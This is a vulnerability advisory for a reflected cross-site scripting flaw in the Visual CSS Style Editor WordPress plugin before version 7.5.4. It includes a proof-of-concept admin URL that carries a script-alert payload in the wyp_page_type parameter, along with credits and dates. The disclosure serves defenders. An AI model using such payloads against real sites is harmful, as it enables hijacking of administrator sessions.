WordPress Plugin Vulnerabilities
Visual CSS Style Editor < 7.5.4 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape the wyp_page_type parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting issue
Proof of Concept
https://example.com/wp-admin/admin.php?page=yellow-pencil-editor&href=1&wyp_page_id=home&wyp_page_type=home&wyp_mode=single&wyp_page_type=<script>alert(/XSS/)</script>
Affects Plugins
Fixed in version 7.5.4
References
Classification
Miscellaneous
Original Researcher
ZhongFu Su(JrXnm) of Wuhan University
Submitter
ZhongFu Su(JrXnm) of Wuhan University
Submitter website
Submitter twitter
Verified
Yes
Timeline
Publicly Published
2022-01-03 (about 8 months ago)
Added
2022-01-03 (about 8 months ago)
Last Updated
2022-09-26 (about 2 days ago)